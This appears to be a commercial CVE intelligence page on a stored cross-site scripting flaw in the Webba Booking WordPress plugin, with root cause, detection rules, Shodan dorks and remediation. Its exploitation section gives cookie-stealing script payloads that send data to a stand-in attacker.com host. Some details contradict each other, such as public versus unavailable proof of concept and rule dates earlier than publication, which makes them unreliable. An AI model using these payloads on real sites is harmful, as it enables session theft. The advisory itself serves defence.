☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Webba logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54729

CVE-2025-54729 Cross-Site Scripting in Webba
📅 PUBLISHED: 2025-08-14 19:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54729 is a Stored Cross-Site Scripting (XSS) vulnerability in the Webba Booking WordPress plugin (webba-booking-lite) versions up to and including 6.0.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into booking forms or related pages. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The CVSS score of 5.9 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS increases the risk of persistent compromise. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors embedding backdoors in unpatched installations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires authenticated user with contributor role or higher
  • User Interaction: Required (UI:R) – victim must view the compromised page
  • Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. The need for authentication reduces the attack surface, but stored XSS can lead to persistent compromise of admin sessions and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the webba-booking-lite plugin, specifically in how it handles user input for booking form fields (e.g., customer name, notes, or custom fields). The plugin fails to sanitize or escape input before storing it in the database and later rendering it on the admin or frontend pages. An attacker with contributor-level access can inject JavaScript payloads into these fields. When an administrator views the booking list or edit page, the payload executes in the context of the admin’s session.

Root Cause: The plugin uses echo or print statements without proper escaping functions like esc_html() or wp_kses_post() when outputting stored data. This allows HTML and JavaScript to be rendered directly.

Attack Flow:

  1. Attacker logs in as a contributor or higher.
  2. Attacker creates or edits a booking entry, injecting a malicious script into a text field (e.g., <script>alert('XSS')</script>).
  3. The plugin stores the unsanitized input in the WordPress database.
  4. An administrator navigates to the booking management page.
  5. The plugin retrieves and outputs the stored data without escaping.
  6. The script executes in the admin’s browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (webba-booking-lite <= 6.0.5):

// In a template or admin page
echo '<div class="booking-name">' . $booking->customer_name . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
echo '<div class="booking-name">' . esc_html( $booking->customer_name ) . '</div>';

The vulnerable code directly outputs user-supplied data without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with Webba Booking plugin <= 6.0.5
  • Authenticated user with contributor role or higher
  • Access to a booking form or admin booking management page

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to the booking creation page (e.g., /wp-admin/admin.php?page=webba-booking).
  3. In a text field (e.g., "Customer Name"), inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the booking.
  5. Wait for an administrator to view the booking list. The script will execute, sending the admin’s cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual booking entries containing <script>, onerror, onload, or other event handlers.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to booking endpoints.
  • Review WordPress logs for suspicious user activity (e.g., contributors creating bookings with unusual content).

Hardening:

  • Apply input validation and output escaping as a temporary measure using a custom plugin or theme functions.
  • Restrict contributor roles from accessing sensitive booking fields if possible.
  • Use Content Security Policy (CSP) headers to mitigate XSS impact (e.g., script-src 'self').

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal?cookie=...).
    • Unusual POST requests to /wp-admin/admin-ajax.php or booking endpoints with encoded JavaScript.
  • Host IOCs:

    • Database entries in wp_posts or custom booking tables containing <script> tags or event handlers.
    • Modified plugin files (check file integrity via checksums).
    • Unexpected admin user creation or privilege escalation.
  • Log IOCs:

    • WordPress debug log entries showing unescaped output warnings.
    • Web server logs with %3Cscript%3E or similar URL-encoded XSS patterns.

Detection Engineering

YARA Rule

rule CVE_2025_54729_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Webba Booking plugin database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54729"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Webba Booking Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Webba Booking plugin via POST requests
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=webba_booking'
        sc-status: 200
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in booking notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54729 Stored XSS in Webba Booking"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=webba_booking"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Apply a virtual patch using a WAF to block XSS payloads in booking fields.
  3. Audit user roles and remove contributor access if not needed.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses_post().
  • Users should update to the latest version once available.

Workaround:

  • Add the following code to the theme’s functions.php to sanitize booking fields on output (temporary):
    add_filter( 'webba_booking_output_customer_name', 'esc_html' );
    

Valters IT Signature This report was generated by Valters IT DevSecOps Intelligence. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Webba Booking"
http.html:"webba-booking-lite"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54729/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.